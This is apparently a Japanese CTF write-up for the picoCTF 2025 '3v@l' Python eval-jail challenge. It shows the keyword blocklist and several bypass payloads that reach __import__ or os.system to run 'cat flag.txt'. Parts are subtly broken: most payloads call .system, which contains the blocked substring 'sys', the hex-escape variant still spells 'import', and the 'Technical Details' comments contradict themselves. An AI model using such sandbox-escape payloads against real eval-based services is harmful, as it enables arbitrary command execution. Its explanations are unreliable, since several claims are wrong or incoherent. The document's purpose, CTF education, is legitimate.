picoCTF 2025 - 3v@l
Challenge
基本的な eval pyjail。
BLOCKED = ['import', 'exec', 'eval', 'open', 'os', 'sys', 'read', 'write']
code = input(">>> ")
for word in BLOCKED: if word in code.lower(): print("Nice try!") exit()
try: result = eval(code) print(result)except: print("Error!")Solution
基本的なバイパス
# 文字列結合__builtins__.__dict__['__imp' + 'ort__']('o' + 's').system('cat flag.txt')chr() による構築
# 'import' = chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)getattr(__builtins__, chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)).system('cat flag.txt')サブクラスチェーン
# 典型的なペイロード[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in str(c)][0].__init__.__globals__['system']('cat flag.txt')Technical Details
ブラックリストの弱点
# 大文字小文字変換後にチェック'IMPORT'.lower() == 'import' # True# しかし 'import' は検出されない
# 部分文字列チェック'__import__' in '__imp' + 'ort__' # False (実行時には True)picoCTF の特徴
- 教育目的のCTF
- 段階的な難易度
- ヒントが提供される場合あり
Alternative Solutions
別解1: getattr チェーン
getattr(getattr(__builtins__, '__imp'+'ort__')('o'+'s'), 'sys'+'tem')('cat flag.txt')別解2: Unicode
eval # eval として動作別解3: hex エスケープ
__builtins__.__dict__['\x5f\x5fimport\x5f\x5f']Flag
picoCTF{...}
References
- picoCTF 2025 Official
- https://hackmd.io/@aespaFanClub/SyNfPh53yx